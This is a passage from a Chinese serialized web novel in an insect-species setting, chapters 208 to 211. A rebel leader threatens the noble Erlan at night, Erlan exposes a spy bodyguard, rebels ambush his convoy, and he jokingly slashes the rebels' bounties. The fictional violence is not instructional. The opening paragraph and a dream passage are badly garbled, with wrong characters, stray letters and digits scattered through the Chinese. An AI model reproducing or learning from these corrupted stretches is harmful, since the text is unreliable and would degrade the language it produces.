哈琉所做0开口,凌蕊的译音听不出情者,只有如景师D平千0DH9冷后险,他迈步走上天台边缘,里色的车轮底部环还沾右末f的血迹,无恒百米高空,浸不经心碾了碾。 他居高临下注视看区在核空中 的4数”,垂在身仰的右干把玩着枚果色Y作3弹墙控器,片失如后,忽然松开指头,。任由金属控制器如妇回所线风等酸急速容,转瞬重交在风声里。”咔嚓 彻底碎成童粉。 这还是两个小时前从伊桑车上找到的。 哈疏助主视着这粉身碎骨的一幕,银色面具后方的唇勾起一抹愉总的0度,他绥慢地您长地吐出一口叹息,那气息在凛列的风声中飘敢,带着种近乎残忍的玩味,又夹杂着丝水冷的怜悯,低声自言自语“亲爱的,我还没玩够呢,怎么能让你死在别的虫手上,你说是不是“ 另外一边,厄兰到家后也回过味来了,自己车上的炸弹/成是伊桑那个狗杂种放的,他肯定是担心自己进入律法院后会知道什么对他不利的消息,再加上又带走了琉恩,于是就想痛下杀手买口. 阿珀知道了他的猜则心中一阵后怕,幸亏厄兰提前下车了,否则岂不是要葬身火海“冕下,炸弹会不会是哈疏斯放的?” 厄兰抬手扯下领带扔在沙发上,想也不想的道:“不可能。” 自己死了他就得守活寡了。 一日夫夫百日恩,他和哈琉斯满打满算也睡够一个晚上了,对方应该不至于这么痛下杀手.……吧? 阿珀虽然不知道厄兰为什么这么笃定,但伊桑部长的离奇死亡还是让他悄然升起了警惕,自从踏进大门的那一刻开始,他的手一直没离开过腰间的配枪。 “冕下,叛军既然敢对伊桑下手,难保不会把您列为下一个目标,请允许我今晚守在您房门外,明天一早,我就联系索亚上将调派精锐过来“ 他明显也不放心治安害的那群酒毒饭袋。 厄兰从客厅沙发上懒洋洋起身,袖口滑落,露出手腕上冰冷的金属钻石表,时针已经逼近午夜,他低头随意瞥了眼: “告诉奎南,他在外面怎么折腾我不管,别让不相干的虫踏进我的住宅半步,否则后果自负。” 阿珀颌首:“是。” 三七开就三七开吧,总比一九开强。 厄兰把毛巾随手甩在少发背上整个虫陷进柔软的床褥中一整天的卷宗工作梓干了他的精力,困如渐朝水般席卷而来,几乎在触到材头的瞬间就被拖人黑暗。 然而睡觉并未带来安宁,伊桑那扭曲变形的脸不断在梦境中闪现,挡风玻璃上的裂痕蛛网般向四周扩散,喷溅的鲜血沿着缝隙蜿蜒而下,如同一条条猩红的小蛇。 那件被利刃划开的军服大敞着,露出对方胸膛上刻着的一行字,皮肉外翻,深得能看见里面的森森白骨 厄兰的梦境车车班描,一片支房被碎,总足反复梦到辆总序车爆炸自的告形,Km的一气识多石他的每寸皮肤咋此干品得像是吞了把少子.最后这股灼烧感将他硬生牛拽回现实,从睡梦中陡然惊醒。 厄兰强撑看从床上坐直身形,闭眼按压着突突直跳动的太阳六,他正准备掀开被子下床倒水,但没想到一睁眼就看见对面沙发上坐着抹黑色的身影,动作瞬间僵住宿外冰冷的月光透进来。照亮了对方B双脸于黑暗中的眼眸。像蛇,又像水冷的刀刃。他信懒交鑫双腿,军靴微微反光,也不知即着厄兰看了多久,低元的噪音在寂静的房回内响起,温柔却又令虫毛骨悚然”做噩梦了?” 一 士 209、祝你一世好命 夜色幽暗,四周万籁俱寂。 谁也不知道哈琉斯是怎么潜进来的,他骨节分明的右手把玩着一枚薄如蝉翼的刀片,寒光在指尖流淌,或许就在几个小时前,它才刚风割下伊桑的舌头。 见厄兰不说话,哈琉斯偏了偏头,月光照亮了他那张被阴影分割的面容,不知是不是错觉,他的右脸似乎又添了几道狰狞的新伤,在苍白的皮肤上格外刺目,他懒懒支着下巴,声音轻飘飘的: “亲爱的,看见我,你好像不太高兴?” 语气亲昵得仿佛情侣私语,却让空气中的温度骤然降至冰点。 虚情假意是贵族的特质,厄兰在意识到自己现在的危险处境后,很快就从怔愣中回神,他缓缓坐直身形,白金色的真丝睡袍衬得他气质矜贵,唇边那抹笑意就像湖面轻轻漾开的涟漪: “不得不说,我确实有些惊讶,但亲爱的,能在这里见到你实在是太好了,毕竟分别后的每个晚上我都在想你……. 他的恶心情话还没说完,颈侧就悄无声息贴上了某种冰凉锋利的物品,厄兰当机立断闭嘴,生怕再说下去就会被割喉。 哈琉斯居高临下站在厄兰面前,垂眸望着他,然后用那枚薄薄的刀片抵着他颈侧的皮肤向上游移,迫使雄虫抬头直视自己,语气凉凉: “怎么不说了?” 厄兰坚定闭嘴。 不能说,再说就成遗言了。 哈琉斯轻笑了一声,他偏头端详着厄兰的眼睛,只觉得这双眼睛真是漂亮,像琉璃一样别透璀璨,但谁若想从里面窥见几分真诚,就势必会被骗得体无完肤。 “亲爱的,”他弯腰低低出声,嗓音在夜色中漾开,带着莫名的鬼魅气息,“其实分别的这段时间,我也无时无刻不在想你……. 月光在他眼中折射出冰冷的光泽,预示着被他想念并不是一件好事。 哈琉斯漫不经心抬起厄兰完美的脸庞,修长的指尖在他眉眼间游走,然后下移到唇瓣附近,低沉的声音听不出情绪: “我每天晚上都在想,该怎么把你这条说谎的舌头一点点剪掉,又该怎么挖出你这双喜欢故作无辜的眼睛…… 窗外树影婆娑,沙沙声与记忆中的海浪重叠。恍惚间,他们好像又回到了雾牙港那个风雨交加的夜晚,冰冷的雨水浸透衣衫,他们坐在那艘前往北部的渡船上,一起同生共死,一起逃向远方。 但厄兰骗了他…… 就像四年前缇宁的那句谎言葬送了整个第三军。 从那时起他就不该相信任何虫的话,但没想到还是栽在了面前这个骗子手里。 哈琉斯思及此处控制不住狠狠闭眼,喉结剧烈滚动一瞬,等再睁开时只剩一片翻涌的阴鸷。他毫无预兆掐住厄兰脆弱的咽喉,指节因为用力而有些发白,明明只要稍一用力就能扭断对方的颈骨,却不知为什么迟迟未动。猩红的眼睛,苍白的月色。 幽暗的夜晚,死一般流淌的沉默。 不知过了多久,哈琉斯终于哑声开口,他晦暗的眼眸死死盯着厄兰,里面悄然闪过了一抹名为复杂的情绪: …为什么要收养琉恩?” 厄兰原本在盯着他侧脸的伤口出神,闻言慢半拍回神:“什么?” 哈琉斯不语,冷冷收紧指尖。 “咳咳咳…… 厄兰被迫仰起头,喉间溢出一阵剧烈的咳嗽,他在这样狼狈的处境下居然还能笑得出来,眼尾泛起生理性的红晕,勾唇时又露出了那种狐狸般蛊惑心神的笑意:“生气了?你是我的未婚夫,你弟弟不就是我弟弟,收养他还需要理由吗?”哈琉斯声音阴冷:“看来你是真的不怕死。” “不,”厄兰垂眸,唇边弧度挑衅,喉间溢出一声轻笑:“我可能只是单纯……嘴欠?” 哈琉斯沉默不语,空气凝滞得几乎令虫窒息。 下一秒,他骤然松手,将厄兰狠狠扔进床榻,转身大步走向门边——就在厄兰以为对方已经打消杀意准备离开的时候,哈琉斯却猛然折返,用冰冷漆黑枪口重重抵上他的眉心。 “厄兰维多。”哈琉斯的声音压得极低,森冷如恶鬼低语,“你是不是以为我真的不敢杀你?” 厄兰懒洋洋直起身形,枪管就抵在额头,他却不见半分慌乱,反而牵起一抹似笑非笑的弧度:“如果死亡真能解决问题,那可真是省事了。” 他轻叹, “真可惜,我的死……似乎改变不了什么。” 他修长的指尖顺着枪管下滑,一寸寸攀上哈琉斯绷紧的手背,骤然收力。 “留在南部不好么,哈琉斯?” 厄兰压低嗓音,字字沉缓:“叛军的通缉令,我可以抹掉;四年前的婚约,能重新订;军部的职位,照样还给你—我保证,你会过得比从前更好。” 枪管在他掌心下微微一颤。 “明明有一条青云路可以走…….厄兰望进对方猩红的眼底,尾调慢悠悠的,蛊惑心神,“何必非要往悬崖边上踏?” 北部的那群叛军和南部作对是因为他们走投无路,但厄兰完全可以给哈琉斯铺一条崭新的后路,对方可以不用继续去过那种颠沛流离的生活,也不必终日与血腥子弹为伍。 厄兰曾经听霍恩格说过,那枚代表着最高叛国者的烙印是永不消退的,并且会终身伴随疼痛,当他们的精神力过载暴乱时,火焰炙烤般的疼痛就会顺着脸颊遍袭全身。 ——最残忍的刑罚不是一时的痛苦,而是让这份痛楚成为永恒的枷锁。 那道烙印是南部的嘲弄,是刻在骨血里的耻辱,只要它存在一日,他们就永远是被牵制的风筝,线不断,自由终究是奢望。 哈琉斯每次精神力过载的时候,都会用利刃狠狠划烂自己的容貌,就像本该翱翔九天的鹰被硬生生关进囚笼,终生都不得自由,宁可啄碎自己的喙爪直至鲜血淋漓。 厄兰注意到对方右脸的伤痕比自己离开时多了许多,新伤叠着旧伤,就像哈琉斯试图用痛苦覆盖痛苦,累累血痂都是当年辗转反侧的恨意。 他又低声重复了一遍: “哈琉斯,和我一起留在南部不好么?” 沉默像刀锋般悬在他们之间。 哈琉斯闻言危险眯眼,枪管从厄兰太阳穴缓缓下移,最终停在他剧烈跳动的颈动脉上,厄兰下意识闭眼,等待死亡的来临— 可下一秒,冰冷的金属枪管骤离。 哈琉斯毫无预兆掐住了厄兰的咽喉,他的力道控制得恰到好处,既可以让雄虫感受到生命的威胁,又不至于真正痛苦。 “厄兰……”额头相抵的瞬间,呼吸交错,哈琉斯的声音低哑得近乎温柔,可掌心却在一点点收紧,“你不懂……. 他温热的吐息灼烧着厄兰的耳廓,裹挟着硝烟与血腥的味道:“我要的从来不是苟活——” 你不懂,不是世界上所有的虫都像你一样好命,天生就可以得到偏爱与公平,他们这些被抛弃的蝼蚁如果想要活下去,就得亲手撕碎这个不公的世界。 你随口许诺的官复原职,是他用血肉在战场上一点点拼杀出来的,每一道军功章背后,都是险些要了他命的子弹,一个少将职位,他用了十七处贯穿伤才换回。 幸存者总是背负得更多。 第三军那些枉死的战友,在审讯室里被打碎的脊骨,还有过往四年无数个痛苦到辗转反侧混合着血泪的夜晚,都像一座沉甸甸的山压在哈琉斯的肩头。 伤痕早已刻进骨血深处,又怎么可能轻易抹去? 你与他是不一样的。 你的一生与他的一生也是不一样的…… 他从小在福利院长大,屋子残破漏雨,吃残羹剩饭也要靠抢,唯一的牵绊就是琉恩这个弟弟,可南部那些利欲熏心的高层连一个傻子都不肯放过,硬生生将他拽出了那个可以安度余生的福利院。 你让哈琉斯怎能不恨? 四年?对你而言不过弹指一挥间,对他却是无数个被疼痛惊醒的漫漫长夜。 当初在雾牙港风雨飘摇的那艘船上,他真的有过一刹的念头想要和你安稳度日,仇恨就像一条粗砾的锁链套在脚腕上,天长日久磨破了血肉,触及到森森白骨,也会使他疼到走不动路,想寻一个巢穴安稳栖身。 尽管那只是一刹那的念头,可却是真实存在过的。 但现实往往予他沉痛 击,你给过的承诺终究和那艘船一起消失在了暴风雨里…… 那句话终究没能说出口。 哈琉斯轻轻抵住厄兰的额头,呼吸间带着硝烟与血锈的气息,声音低沉冰凉:“知道吗?你真的很好命。” 他喉结微动,想起被救下的琉恩,想起律法院重新签发的那些赦免书,却又觉得本该如此,游走深渊是属于他的宿命,不是面前这只雄虫的。 “厄兰,”他忽然笑了,枪管在掌心转了个漂亮的圈,“祝你永远这么好命。” 没有讥诮,不带嘲讽。 这是一个亡命之徒所能给出的,最干净的祝福。 但很可惜…… “游戏还没结束,你不如猜猜下一个死的会是谁?” 哈琉斯语气森寒,在厄兰耳畔低声吐出这句危机四伏的话,然后就缓缓站直身形,一步步退到了窗边,当最后一个字音消散时,他的身影已彻底融入夜色,只余窗帘在空气中轻轻摇曳。 厄兰见状瞳孔收缩,下意识从床边站起身,却不小心碰倒了桌角的装饰物,掉落在地发出沉闷的动静,守在门外的阿珀立刻持枪破门而入,神情难掩警惕 “冕下,您没事吧?!” 厄兰偏头,淡淡扫了他一眼:“你还活着啊。” 阿珀的枪口茫然垂了下来:“.……啊?” 厄兰冷冷挑眉:“你现在才来,是准备给我念悼词,还是帮忙挑棺材?” 阿珀欲言又止:“冕下,我刚才一听见动静就…….” 厄兰却抬手示意他不用再说,转身走到桌边倒了一杯水,清澈的液体在杯子里摇晃,就像一片粼粼的波光,他拿起玻璃杯端详片刻,却是出乎意料道: “明天你就回第一军去吧,我会和雌父解释的。” 阿珀闻言眼底悄然闪过一丝讶异,神情难掩错愕:“抱歉,冕下,今天的事情是我失职,请您再给我一次机会吧。” “失职?“ 厄兰慢条斯理咀嚼着这两个字,也不知品出了怎样的意味,他转身看向阿珀,斜倚着书桌边缘,意味深长开口, “你失职可不止这一次了,不过失职总比失命强,南部最近处决叛军的枪声可响得紧——你说他们万一知道你是哈琉斯安插在帝都的眼线,会先把你送上军事法庭,还是直接送去监狱枪毙呢?” 这句话一出,屋子里的气氛瞬间降至冰点,阿珀的脸色也彻底变了,他惊疑不定望着厄兰,似乎是想做些什么,可终究是一点点安静了下来。 一阵冗长的静默过后,阿珀终于哑声开口:“您……是什么时候知道的?” 厄兰:“从见你的第一天起我就感觉不对劲了,虽然你口口声声说和哈琉斯不熟悉,却对他的事情了如指掌,甚至连他每个月往福利院寄钱都知道,后面调查资料的时候更是故意遗漏了琉恩的消息,再加上今天……. 他眉梢轻挑:“不用我多说了吧?” 阿珀语气复杂:“您不准备检举揭发我吗?” 厄兰漫不经心晃了晃水杯,修长骨感的指尖在玻璃衬托下更显干净:“我没那种闲心,不过我倒是很好奇,一个前途无量的上尉,为什么要赌上性命当北境的眼线?“ 阿珀目前已经是上尉军衔了,不仅出身于第一军,更是备受索亚上将的器重,前途堪称一片光明,好像犯不上做这种稍有不慎就会枪毙流放的事? 阿珀闭了闭眼,似乎有些不愿开口。 厄兰倒也不一定非要知道,他随手将水杯搁在桌上,玻璃与木质桌面相触发出清脆的声响:“不愿意说就算了,回到第一军把尾巴藏好,别做不该做的事。”语罢顿了顿,又补充道:“出去吧。” 阿珀闻言深深看了厄兰一眼,然后缓步倒退至门口,就在厄兰准备上床休息的时候,他却忽然抬手行了一个抚肩礼,低声吐出一句话,这才转身离开房间。半晌着“咔哒”一声房门被关上的轻响,屋内彻底陷入了寂静。 阿珀只说了一句话。 “我的雌父是海庇长官,四年前负责押送秘金。” 秘金,又是秘金? 厄兰终于发现了,所有的麻烦似乎都和这两个字脱不了关系。晚上的时候他躺在床上辗转反侧,脑海中总是不停响起哈琉斯临走时留下的那句话。 “游戏还没结束,你不如猜猜下一个死的会是谁?” 下一个会是谁?这个问题像把钝刀,缓慢切割着厄兰的神经,当年参与那场阴谋的高层不下十几个,仅凭伊桑的死,根本无从揣测哈疏斯的复仇轨迹。 然而答案来得比想象中更快。 翌日清早,阿珀悄无声息离开了住宅,重新回到第一军做他的本职工作,而奎南署长则率领两支护卫队护送厄兰上班。 “冕下,我知道这可能给您带来了些许不便,不过为了您的安全着想,在那群叛军落网之前还是谨慎一点为妙。” 奎南署长和厄兰一起坐在后座,从上车开始脸上谄媚的笑意就没下去过,他是个老狐狸,自然知道该怎么做才能博得索亚上将的好感,为此甚至不惜抛下繁重的事务亲自护送厄兰上班。 厄兰对他的想法心知肚明,皮笑肉不笑:“辛苦你了,奎南署长。” “不辛苦不辛苦,这都是我应该…. “砰——!” 奎南署长话未说完,一声突兀的枪响骤然撕裂了清晨的宁静,挡风玻璃应声炸裂,一颗子弹擦着他的耳际呼啸而过,在真皮座椅上留下一个冒着青烟的弹孔。 奎南署长见状脸色瞬间煞白,惊慌失措摔下座椅:“是谁?!给我滚出来!” “敌袭!保护长官!” 护卫队中不知是谁厉声高喊,车队瞬间乱作一团,只见前方路口忽然冲出了数十名装备精良的北部叛军,他们从掩体后现身,黑洞洞的枪口再次对准了他们的座驾,为首者脸上戴着一张银色面具,在晨光中泛着冷冽的寒芒,格外醒目。 厄兰早在枪响的瞬间就缩到了座椅底下,神情惊疑不定,该死!哈琉斯的下一个目标不会就是自己吧? 他就知道北部雌虫没一个好东西!昨天还亲热叫他小甜甜,祝他一辈子好命,今天就端着机关枪突突突送自己上路! #钢铁般的雄虫也会落泪# 厄兰看了眼在座椅上吓瘫的奎南署长,心中暗骂治安署的这群酒囊饭袋关键时刻一点用都顶不上,他眼见悬浮车已经快被打成了筛子,把牙一咬,趁着硝烟弥漫之际猛地推开车门,借着四周的掩体快速移动,试图在混乱中脱身。“啊哈~亲爱的冕下,您打算去哪儿呀?” 伴随着一声金属变形的刺耳声响,一名北部叛军忽然展开翅翼从天而降,军靴直接将车顶压得凹陷变形。他用手中黑漆漆的枪管对准厄兰,戴着红色笑脸面具的脑袋饶有兴致歪了歪,不是霍恩格那个混蛋还能是谁?!“砰!” 第一发子弹精准地落在厄兰三步之外,激起一片碎石。 “砰!” 第二发子弹擦着他左侧的树干呼啸而过,树皮瞬间炸裂。 “砰!” 第三发子弹击中右侧的金属垃圾桶,发出令虫牙酸的撞击声。 厄兰在弹雨中灵活闪避,内心早已将霍恩格的祖宗十八代问候了个遍,这个该死的疯子!要杀就痛快杀,玩什么猫捉老鼠的把戏,准头这么差,活该只能在叛军里面当二把手! 生死关头,厄兰仿佛觉醒了某种逆天的避弹能力,那些躲在掩体后面的士兵一个接一个中枪,他满场蛇形乱窜,愣是一枚子弹都没擦到边。 厄兰好不容易跑到路边的安全区脱离交战范围,躲在一块景观石碑后面急促喘息,但没想到霍恩格这个王八蛋忽然抬手,指着他遥遥喊道: “全体注意!别让那只雄虫跑了!” 厄兰:“???” 霍恩格,你个狗杂种,老子和你不共戴天!! 眼见四周大批叛军朝这里涌过来,厄兰秉承着一种鱼死网破的精神,直接从腰间拔出了从哈琉斯那里薅来的配枪,他正准备冲出掩体,手腕却突然被一只戴着战术手套的手牢牢扣住,内嵌的金属触感透过布料传来,让他浑身一僵。 “冕下,现在不是逞强的时候。” 一道低沉冷静的嗓音贴着耳廓响起,带着不容置疑的力度,厄兰这才惊觉身旁不知何时多了抹身影,对方穿着治安署制服,黑色碎发下是一双冰川般的蓝眼睛,清俊的面容在硝烟中显得格外醒目。“叛军数量是我们的三倍。” 陌生的年轻士兵用身体将他护在掩体后,另一只手快速检查着弹匣, “您只要再坚持两分四十秒,军部的支援就到了。” 厄兰也知道现在不适合硬拼,他飞快往外看了眼步步逼近的北部叛军,眉头紧皱:“但是还有最多二十秒他们就会完成合围。” 那名年轻士兵却道:“未必。” 话音未落,他已然闪身冲出掩体,连续三声枪响划破空气,每一发子弹都精准命中叛军的肩头或者四肢,后坐力让他的制服衣袖猎猎作响,却丝毫没影响射击节奏。 最后弹匣打空,他竟是直接纵身跃上车顶,一边敏捷躲避四周射来的子弹,一边和霍恩格缠斗在一起,招式干脆利落,另外两名叛军首领见状立刻上前支援,一个戴着白色哭脸面具,一个戴着银色面具,估计是维瑟尔和哈琉斯。厄兰见状心脏瞬间悬了起来,三打一,结局还用想吗?! 他头疼闭眼,绝望背靠着石碑,不知是该替那名年轻士兵默哀,还是该替自己接下来的命运默哀,就在这时,只听后方传来两声惨叫,紧接着是重物落地的闷响。“砰!”“砰!” 厄兰到底没抵住好奇心偷偷看了眼,却惊讶发现霍恩格和维瑟尔居然被那名年轻士兵从车顶踹了下来,重重摔在废墟堆里。此刻对方正在与哈琉斯缠斗,拳脚相加,速度快得只能看见残影,居然打了个五五开!!厄兰见状眼睛控制不住一亮,又惊又喜。 天才!天才啊! 没想到一个小小的治安署居然卧虎藏龙,能和哈琉斯打得不分上下,早知道他就不要阿珀了,直接来治安署找保镖多好! 尖锐的警笛声刺破硝烟,街道尽头,军部的车队如钢铁洪流般碾过废墟,叛军阵型瞬间溃散,就连正在缠斗的哈琉斯也抽身急退,冷冷吐出了一个字,因为面具覆盖声音听起来有些失真:“撤!” 北部叛军闻言纷纷展开翅翼,掀起一阵迅猛的疾风,他们如同食腐鸦群般腾空而起,就像代表着不祥与死亡预兆的阴影终于散去。 直到确定危险解除,厄兰才从石碑后缓步走出,他下意识按住仍在狂跳的心口,长舒一口气。与此同时,那名年轻士兵已从车顶利落跃下,军靴落地时甚至没发出半点声响,走到厄兰面前彬彬有礼问道: “冕下,您没有受伤吧?” 厄兰摇头表示没事,目光下意识在对方身上多停留了几秒,笔挺的军装制服下是掩不住的锋芒,就像一柄收入鞘中的利剑: “你的身手不错,叫什么名字?” 那名士兵优雅颔首,行了一个抚肩礼:“阿斯法,治安署第三区第七巡逻队。” 远处传来军靴踏地的声响,支援部队的长官正朝这边快步走来,厄兰见状转身欲走,却不知想起什么,突然顿住脚步,偏头看向对方: “这么好的身手待在治安署可惜了,明天带着你的配枪来律法院找我。” 年轻士兵恭敬垂眸:“能为您效劳是我的荣幸。” 厄兰点点头:“好好干,你很有前途。” 眼见那道修长的背影彻底消失在街角,士兵这才缓缓站直身形,他漫不经心活动了一下脖颈,发出令虫牙酸的骨骼响声,然后抬头看向那群北部叛军刚才撤退的方向,目光晦暗不明,对着天空无声比了一个“收队”的手势 太阳缓缓升高,光影偏移,照亮了他耳朵后侧一条微不可察的仿真皮肤接缝痕迹。 210、旧情难忘 翌日清早,阿斯法准时等在了办公室门口。 当厄兰掐着点来律法院打卡上班的时候,就见那名年轻士兵安静站在走廊一角,对方穿着一身白金色军装制服,帽檐阴影恰好遮住了他深邃的眉眼,只露出一个线条分明的下巴。这副沉静内敛的模样与昨日在袭击现场凌厉果决的身影判若两虫,让厄兰很难将二者联系在一 起。 “什么时候来的?” 厄兰随意瞥了雌虫一眼,然后转身推门走进办公室,他对这名年轻士兵的初印象还不错,虽然橄榄枝是他主动抛出来的,但对方也得努力接住才行。 阿斯法顺势跟进去,反手关上房门,他清秀的脸庞恰到好处流露出一丝赧然,耳尖微微泛红:“抱歉,冕下,因为您昨天没说几点过来报道,所以我就提前了一些。” “没关系,你来得刚刚好,律法院早上八点就开始上班了。” 厄兰走到办公桌后落座,然后将双腿闲适交叠搭在桌沿边缘,他懒懒赖陷入椅背,仰头闭目,看起来还有些没睡醒,白皙微凸的喉结在空气中轻轻滚动了一瞬: “我已经和治安署交待好了,从今天起你的档案会调到第一军,以后负责贴身保护我,等北部的风波平息了,直接从列兵提到副官。” 居然破格连升四级? 阿斯法闻言身形微顿,似乎有些讶异,迟疑问道:“冕下,这是否有些不合规矩?” 厄兰睁开双眼看向他,意味深长道:“如果你的胆子也和身手一样那么厉害就好了,放心,我给你的都是你应得的,毕竟最近想杀我的虫还挺多,而且个个都很难缠。” 阿斯法猜到了什么:“是昨天的那群叛军吗?” 厄兰闻言不置可否,他原本想喝水,拿起手边的杯子一看发现空了,只好重新放回去: “总之你的担子不轻,除了护卫工作,还要负责兼任秘书,把律法院的日常公务整理好呈报给我。” 阿斯法轻轻颔首,带着南部雌虫特有的温驯,尽管那双冰川蓝的眼睛细看深不见底,总是让虫觉得他并不如表面那么温润无棱角: “冕下,请放心,您的安全与公务我都会处理妥当。” 他语罢转身离开办公室,轻轻带上大门,大概是去楼下熟悉流程了。厄兰原本以为阿斯法要好一会儿才能回来,但没想到半小时后对方就抱着一摞文件重新入内,另一只手还拿着热水壶。 “冕下,这是律法院总区今早下达的文件,昨天袭击您的叛军组织成员身份已经全部核实完毕,三名主犯均在南部留有犯罪案底,上级部门对他们重新拟定了悬赏金额,只要您签发盖章,立刻就会上传星网通缉覆盖旧有历史,全国生效。“他骨节分明的指尖拎着黑色的水壶,一边做报告,一边不紧不慢给厄兰倒了杯热茶,袅袅烟雾升腾而起,使得眉眼有些模糊不清。 厄兰原本意兴珊地靠在椅背上,直到听见文件和叛军有关这才勉强打起精神,他随手接过文档翻看,结果发现第一页就是哈琉斯的照片,指尖微不可察顿了顿。 —这大概是对方四年前在军部留档的旧照,那时的哈琉斯还是长发,眉眼也并没有那种刮骨刀般的戾气,银发从军装肩头倾泻,衬得面容愈发清冷,紫色的眼眸不经意泄露了几分天才特有的孤傲。 厄兰有一瞬出神。 阿斯法看了他一眼:“冕下,您认识这名叛军吗?” 厄兰居然嗯了一声:“认识。” 阿斯法闻言正准备说些什么,结果就听厄兰慢悠悠叹了口气道:“他是我的狂热追求者,都怪我魅力太大,这只雌虫对我求而不得,就因爱生恨了。” 阿斯法:“ 或许因为哈琉斯是叛军首领,纸上的悬赏金额足足高达两千万星币。 厄兰从抽屉里找出钢笔,心想对方昨天虽然无情地用机关枪突突了他,但他不能无情无义:“帝国财政年年赤字,那些蠢货还弄这么高的悬赏金额,生怕国库里的钱花不完吗?” 他用锋利的钢笔利落划掉两千万,重新写了个五百万,想了想觉得还是太高,又划掉改成了五万星币。 “就这个数,爱要不要。” “冕下,他可是叛军头目之一。” 阿斯法忽然在桌对面微微倾身,投下一片冗长的阴影,他用苍白骨感的指尖压住文件边缘,声音低低,听不出什么情绪,却在艳阳高照的时间无端让虫感到几分森森鬼气,似提醒,似蛊惑。 “昨天的那场袭击就是这名叛军首领策划的,您真的不打算杀了他吗?” “他对您恨之入骨。” “如果现在心慈手软,将来一定会后患无穷。” 指尖微不可察用力,在文件边缘留下一道浅浅的痕迹, “无意顶撞您,但这个价格……是不是太便宜了些?” 厄兰闻言笔尖一顿,在纸上沁出一小团墨痕,他煞有介事点头,唇边居然勾起一抹笑意:“你说的对,这个价格确实有些便宜了。” 阿斯法刚松开指尖,就见厄兰慢条斯理翻开文件下一页,直接把那名叫“维瑟尔”的叛军头目悬赏金额从八百万改成了二百五。 没有万。 “现在不便宜了。”厄兰满意欣赏着自己的杰作,“把其他通缉令都按这个标准调整。” 阿斯法盯着那个侮辱性极强的数字,神情控制不住抽搐了一瞬。 二百五? 在帝都吃顿饭都不够吧? 这张侮辱性极强的悬赏令如果真的贴出去,估计都不用市民举报了,叛军自己就能把自己给气死,哪个头目身价这么低的?传出去还不被同行笑掉大牙。 但阿斯法的职业素养很高,表情很快恢复了正常:“是,冕下,我这就照您吩咐的去办。” 厄兰却忽然想起来什么似的,抬手打住:“等等——” 他哗啦啦把文件往后翻了好几页,果不其然看见霍恩格的名字也在其中,悬赏金额为五百万星币,直接用钢笔在上面划了一个大大的叉,然后把金额改成三千万,用力盖上公章。 “啪!” 鲜红的印泥把照片上的脸糊得面目全非。 “其余通缉犯的文件晚点再发,这个叫霍恩格的给我立刻加急,现在就传上星网。” …… “南部军方是不是疯了?!” 某处阴暗的地下仓库据点,霍恩格盯着屏幕上最新公布的悬赏金额惊得哗一声从沙发上站了起来,不可置信扭头看向同伴道: “老子就炸了几个关押高级罪犯的破监狱,值他妈三千万?!知道当年刺杀虫帝的那个传奇雇佣兵才值多少吗?两千五百万而已!他这是想让全星系的赏金猎虫都来追击我吗?!” “知足吧。”维瑟尔坐在一旁冷笑出声,他看似平静,实则恨得牙都快咬碎了,“至少你的悬赏金额还能刷新一下历史记录,我的悬赏金额在黑市上连把枪都买不起。” 二百五?他妈的侮辱谁呢?! 霍恩格脑瓜子突突疼,气得咔嚓一声把手里的啤酒金属罐捏变了形:“我昨天真应该用枪突突了那只雄虫,把他的脑袋打开花!” “别轻举妄动。” 维瑟尔沉声警告道, “我们已经在帝都暴露了,这段时间的任务是暂时潜伏,后面如果有什么需要做的,北部会另外派虫过来。” 霍恩格倏地看向他,眉头紧皱:“派谁?” 维瑟尔耸肩:“或许是……拉维?毕竟那个家伙执行刺杀任务一向很出色。” 中午过后,阳光便没有那么刺目了,昏黄的光晕透过气窗,在幽暗的仓库打出了一道斜斜的光束,霍恩格和维瑟尔坐在沙发上说些什么,只是唯独不见哈琉斯的身影。 律法院的走廊常年透着一种肃穆的寂静,午休时间尤甚,繁杂的文书工作让大部分虫都宁愿待在办公室小憩,或是埋头堆积在如山的案卷之间,所以走廊更显冷清。 阿斯法独自站在走廊阴影中,沉默望着拐角处的那副装饰画—— 虫神赫勒弥斯的虚影悬于画布之上,左手执剑,右手托起天平与典籍,意为用剑锋守护真理与公义。神明的面容是模糊虚构的光影,唯有那双俯瞰众生的眼睛,仿佛穿透时光,无声地审视着每一个驻足于此的过客。阿斯法忽然闭上眼睛。 楼上审讯室里雌虫的惨叫声险些穿透厚重的隔音墙壁,文书处的打印机仍在嗡嗡作响,一张又一张盖着猩红印章的判决书被整齐装订,送往军部的档案室永久封存。而在某个不易察觉的角落,天平上的砝码正悄然滑落,发出沉闷的坠地声。 良久,他终于睁开双眼,垂眸看了一下手腕上的终端,发现午休时间已经快结束了,这才推门走进办公室。 厄兰没睡,他手里翻着一摞厚厚的纸质档案,把当年和秘金事件有所牵扯的高层全部记在了一张纸上,职位由高到低排序,结果发现排在首位的赫然是虫帝的亲生弟弟帕颂亲王,笔尖不由得一顿。“冕下,有什么需要帮助的吗?” 阿斯法低沉的声音从耳畔响起,把厄兰飘远的思绪拉了回来,他淡淡挑眉,随手把纸叠好塞进上衣口袋:“没有,今天盖章的通缉令已经全部送上去了吗?”阿斯法点头,冰川蓝的眼眸深深望着厄兰:“已经送上去了,不过惹来了一些闲言蜚语。” 厄兰饶有兴趣:“例如?” 阿斯法迟疑一瞬才道:“他们说那个名叫哈琉斯的叛军首领曾经是您的未婚夫,所以您故意徇私包庇。” 厄兰把文件往桌子一丢,翘着二郎腿懒领懒赖倒入椅背:“哦~他们说的倒也没错,哈琉斯确实是我的前前任未婚夫,我也确实对他旧情难忘。” 他这么坦率,反倒让阿斯法不知道该说些什么了,厄兰见他不语,轻抬下巴示意了一下窗外:“别愣着了,备车吧,我等会儿要去医院一趟。” 阿斯法闻言一愣:“去医院做什么?” 厄兰似笑非笑哦了一声:“没什么,去探望一下我的前任未婚夫。” 阿斯法:“.… 211、气死你 最近忙着工作,厄兰都差点忘了缇宁那个狗杂种。 听说他上次命悬 线差点去见了虫神,家族不计代价砸了许多天价基因药物,又花重金请了帝都为数不多的几名S级雄虫出手治疗,这才勉强帮他捡回一条小命。 饶是厄兰也不得不感慨一句—一 真他妈的难杀啊。 当悬浮车停在医院门口的时候,副院长已经提前在外面迎接了,他眼见厄兰下车,连忙快步走上前,压低声音道:“冕下,得知您要过来,17楼的走廊已经被我们提前清空了,监控系统暂停运作,不会留下任何痕迹。” 厄兰微不可察点了点头,漫不经心打量着这家只有权贵才能入住的医院:“我想和我未婚夫单独聊会儿天,等会你们无论听见什么动静都不用出来,明白吗?” 副院长尴尬笑笑:“冕下,这里是医院,只要不闹出虫命应该是没什么大问题的。” 言外之意,搞事情可以,但如果搞出虫命那就不好收场了。 